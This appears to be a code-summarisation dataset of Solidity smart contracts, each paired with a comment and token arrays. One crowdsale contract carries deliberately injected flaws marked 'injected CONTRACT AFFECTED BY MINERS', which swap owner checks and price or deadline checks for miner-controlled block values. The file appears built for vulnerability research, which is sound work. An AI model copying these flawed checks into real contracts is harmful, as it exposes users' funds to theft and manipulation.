previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } }
基本合约的构造函数在合约构造时,为所有者设置默认管理员角色,只有默认管理员可以动态授予和撤销角色
constructor() { _setupRole(DEFAULT_ADMIN_ROLE, owner()); }
569,647
[ 1, 166, 258, 123, 167, 255, 110, 166, 243, 235, 168, 123, 104, 168, 253, 231, 167, 257, 231, 170, 227, 259, 166, 234, 126, 167, 248, 113, 166, 255, 106, 166, 243, 235, 168, 123, 104, 167, 257, 231, 170, 227, 259, 167, 250, 119, 176, 125, 239, 165, 121, 123, 167, 236, 227, 167, 255, 236, 169, 227, 232, 169, 111, 127, 168, 126, 111, 170, 124, 251, 169, 111, 102, 168, 111, 99, 168, 243, 233, 166, 244, 251, 169, 105, 245, 169, 236, 115, 176, 125, 239, 166, 242, 108, 167, 255, 236, 170, 124, 251, 169, 111, 102, 168, 111, 99, 168, 243, 233, 166, 244, 251, 166, 242, 112, 165, 124, 103, 166, 237, 106, 167, 227, 228, 167, 241, 235, 165, 123, 235, 166, 245, 239, 167, 245, 102, 170, 247, 227, 169, 105, 245, 169, 236, 115, 2, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 389, 8401, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 3410, 10663, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; pragma solidity 0.8.10; /** * @title App through which a layer of anonymity is added to peer-to-peer transactions * @author Sami Gabor * @notice study project which may have security vulnerabilities */ contract Anonymizer is Ownable, Pausable { /** * @dev users balances: * The key is the user's address(hashed to increase privacy) * The value is the user's balance **/ mapping(address => uint256) private balances; /** * @dev events: * @param balance the updated eth balance for current user **/ event CurrentBalance(uint256 indexed balance); /** * @notice Returns the ether balance available inside the contract * @return sender's contract balance **/ function getBalance(address _addr) public view returns (uint256) { return balances[_addr]; } /** * @notice Deposits funds into the contract and assignes them to the receiver * @dev increase receiver's contract balance * @dev emit the sender's current contract balance * @param _to the destination address to which the ether is assigned **/ function depositEth(address _to) public payable whenNotPaused { balances[_to] += msg.value; emit CurrentBalance(balances[msg.sender]); } /** * @notice Deposits funds into the contract and assignes them to the sender and the receiver * @notice By sending funds to your own address, it increases the transaction anonymity. The funds are kept within the contract and available for claim * @notice DO NOT KEEP LARGE AMOUNTS INTO THE CONTRACT, withdraw them every once in a while * @dev increase the receiver's contract balance * @dev increase the sender's contract balance * @param _to the destination address to which the ether is added * @param _toMyselfAmount the amount assigned back to sender(inside the contract) in order to increase the anonymity **/ function depositEth(address _to, uint256 _toMyselfAmount) public payable whenNotPaused { require( msg.value > _toMyselfAmount, "The total amount must be greather than the amount deposited back to sender" ); uint256 _toAmount = msg.value - _toMyselfAmount; balances[_to] += _toAmount; balances[msg.sender] += _toMyselfAmount; emit CurrentBalance(balances[msg.sender]); } /** * @notice Withdraw funds, assigned to own address, from the contract * @notice DO NOT KEEP LARGE AMOUNTS INTO THE CONTRACT, withdraw them every once in a while * @dev withwraw from the contract and decrease the sender's balance **/ function withdrawEth(address payable _to, uint256 _amount) public { require(balances[msg.sender] >= _amount, "Insufficient funds."); balances[msg.sender] -= _amount; (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); emit CurrentBalance(balances[msg.sender]); } /** * @notice Pause deposits into the contract **/ function freezeDeposits() external onlyOwner { _pause(); } /** * @notice Resume deposits into the contract **/ function unfreezeDeposits() external onlyOwner { _unpause(); } }
* @notice Deposits funds into the contract and assignes them to the sender and the receiver @notice By sending funds to your own address, it increases the transaction anonymity. The funds are kept within the contract and available for claim @notice DO NOT KEEP LARGE AMOUNTS INTO THE CONTRACT, withdraw them every once in a while @dev increase the receiver's contract balance @dev increase the sender's contract balance @param _to the destination address to which the ether is added @param _toMyselfAmount the amount assigned back to sender(inside the contract) in order to increase the anonymity/
function depositEth(address _to, uint256 _toMyselfAmount) public payable whenNotPaused { require( msg.value > _toMyselfAmount, "The total amount must be greather than the amount deposited back to sender" ); uint256 _toAmount = msg.value - _toMyselfAmount; balances[_to] += _toAmount; balances[msg.sender] += _toMyselfAmount; emit CurrentBalance(balances[msg.sender]); }
1,048,241
[ 1, 758, 917, 1282, 284, 19156, 1368, 326, 6835, 471, 2683, 281, 2182, 358, 326, 5793, 471, 326, 5971, 225, 2525, 5431, 284, 19156, 358, 3433, 4953, 1758, 16, 518, 7033, 3304, 326, 2492, 392, 6435, 560, 18, 1021, 284, 19156, 854, 16555, 3470, 326, 6835, 471, 2319, 364, 7516, 225, 5467, 4269, 1475, 9383, 52, 511, 28847, 432, 5980, 5321, 55, 12421, 12786, 8020, 2849, 1268, 16, 598, 9446, 2182, 3614, 3647, 316, 279, 1323, 225, 10929, 326, 5971, 1807, 6835, 11013, 225, 10929, 326, 5793, 1807, 6835, 11013, 225, 389, 869, 326, 2929, 1758, 358, 1492, 326, 225, 2437, 353, 3096, 225, 389, 869, 12062, 2890, 6275, 326, 3844, 6958, 1473, 358, 5793, 12, 28091, 326, 6835, 13, 316, 1353, 358, 10929, 326, 392, 6435, 560, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 41, 451, 12, 2867, 389, 869, 16, 2254, 5034, 389, 869, 12062, 2890, 6275, 13, 203, 3639, 1071, 203, 3639, 8843, 429, 203, 3639, 1347, 1248, 28590, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 1132, 405, 389, 869, 12062, 2890, 6275, 16, 203, 5411, 315, 1986, 2078, 3844, 1297, 506, 5174, 4806, 2353, 326, 3844, 443, 1724, 329, 1473, 358, 5793, 6, 203, 3639, 11272, 203, 3639, 2254, 5034, 389, 869, 6275, 273, 1234, 18, 1132, 300, 389, 869, 12062, 2890, 6275, 31, 203, 3639, 324, 26488, 63, 67, 869, 65, 1011, 389, 869, 6275, 31, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 1011, 389, 869, 12062, 2890, 6275, 31, 203, 3639, 3626, 6562, 13937, 12, 70, 26488, 63, 3576, 18, 15330, 19226, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2019-12-06 */ pragma solidity ^0.5.0; contract CrowdsaleToken { /* Public variables of the token */ string public constant name = 'Rocketclock'; string public constant symbol = 'RCLK'; //uint256 public constant decimals = 6; address payable owner; address payable contractaddress; uint256 public constant totalSupply = 1000; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; //mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address payable indexed from, address payable indexed to, uint256 value); //event LogWithdrawal(address receiver, uint amount); modifier onlyOwner() { // Only owner is allowed to do this action. if (block.coinbase != owner) { //injected CONTRACT AFFECTED BY MINERS revert(); } _; } /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() public{ contractaddress = address(this); owner = msg.sender; balanceOf[owner] = totalSupply; //balanceOf[contractaddress] = totalSupply; } /*ERC20*/ /* Internal transfer, only can be called by this contract */ function _transfer(address payable _from, address payable _to, uint256 _value) internal { //function _transfer(address _from, address _to, uint _value) public { require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] > _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Send `_value` tokens to `_to` from your account /// @param _to The address of the recipient /// @param _value the amount to send function transfer(address payable _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /*fallback function*/ function () external payable onlyOwner{} function getBalance(address addr) public view returns(uint256) { return balanceOf[addr]; } function getEtherBalance() public view returns(uint256) { //return contract ether balance; return address(this).balance; } function getOwner() public view returns(address) { return owner; } } contract CrowdSale { address payable public beneficiary; address payable public crowdsaleAddress; //debugging address payable public tokenAddress; address payable public owner; uint public fundingGoal; uint public amountRaised; uint public tokensSold; uint public deadline; uint public initiation; //uint public price; //0.25 eth uint256 public constant price = 250 finney; uint public constant amount = 1; CrowdsaleToken public tokenReward; mapping(address => uint256) public balanceOf; bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); modifier onlyOwner() { // Only owner is allowed to do this action. if (block.coinbase != owner) { //injected CONTRACT AFFECTED BY MINERS revert(); } _; } /** * Constructor function * * Setup the owner */ constructor( address payable ifSuccessfulSendTo, address payable addressOfTokenUsedAsReward )public { beneficiary = ifSuccessfulSendTo; fundingGoal = 100 * 1 ether; deadline = now + 60 * 1 days; initiation = now; crowdsaleAddress = address(this); tokenAddress = addressOfTokenUsedAsReward; tokenReward = CrowdsaleToken(addressOfTokenUsedAsReward); owner = msg.sender; } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract */ function () external payable { //for funding of contract if(block.coinbase != owner){ //injected CONTRACT AFFECTED BY MINERS require(!crowdsaleClosed); if (block.timestamp <= deadline){ //injected CONTRACT AFFECTED BY MINERS if(block.number >= price){ //injected CONTRACT AFFECTED BY MINERS balanceOf[msg.sender] += msg.value; tokensSold += amount; amountRaised += msg.value; tokenReward.transfer(msg.sender, amount); emit FundTransfer(msg.sender, amount, true); } else{ //donation amountRaised += msg.value; } } else{ revert(); } } } function depositFunds() public payable { require(!crowdsaleClosed); if (block.timestamp <= deadline){ //injected CONTRACT AFFECTED BY MINERS if(block.number >= price){ //injected CONTRACT AFFECTED BY MINERS balanceOf[msg.sender] += msg.value; tokensSold += amount; amountRaised += msg.value; tokenReward.transfer(msg.sender, amount); emit FundTransfer(msg.sender, amount, true); } else{ //donation amountRaised += msg.value; } } else{ revert(); } } modifier afterDeadline() { if (block.gaslimit >= deadline) _; } //injected CONTRACT AFFECTED BY MINERS modifier goalReached() { if (block.timestamp >= fundingGoal) _; } //injected CONTRACT AFFECTED BY MINERS /** * Check if goal was reached * * Checks if the goal or time limit has been reached and ends the campaign */ function checkGoalReached() public afterDeadline returns(bool) { if (block.gaslimit >= fundingGoal){ //injected CONTRACT AFFECTED BY MINERS fundingGoalReached = true; emit GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; return crowdsaleClosed; } /** * Withdraw the funds * * Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached, * sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline { if (!fundingGoalReached) { uint returnamount = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; // refunds if (block.timestamp >= price) { //injected CONTRACT AFFECTED BY MINERS if (msg.sender.send(returnamount)) { emit FundTransfer(msg.sender, returnamount, false); } else { balanceOf[msg.sender] = returnamount; } } } } function crowdfundWithdrawal() public afterDeadline onlyOwner { if (fundingGoalReached && beneficiary == msg.sender) { if (beneficiary.send(amountRaised)) { emit FundTransfer(beneficiary, amountRaised, false); } } } /* in case goal is reached early */ function closeDeadline() public goalReached onlyOwner { deadline = now; } function getcrowdsaleClosed() public view returns(bool) { return crowdsaleClosed; } function getfundingGoalReached() public view returns(bool) { return fundingGoalReached; } }
return contract ether balance;
function getEtherBalance() public view returns(uint256) { return address(this).balance; }
12,669,688
[ 1, 2463, 6835, 225, 2437, 11013, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4774, 1136, 13937, 1435, 1071, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 1377, 327, 1758, 12, 2211, 2934, 12296, 31, 203, 282, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = 0x3A9158Cf4b90D502D1A197699aa6B14edbcE9Ce5; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; bool public purchasingAllowed = true; uint256 public totalContribution = 0; uint multiplier = 35; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); 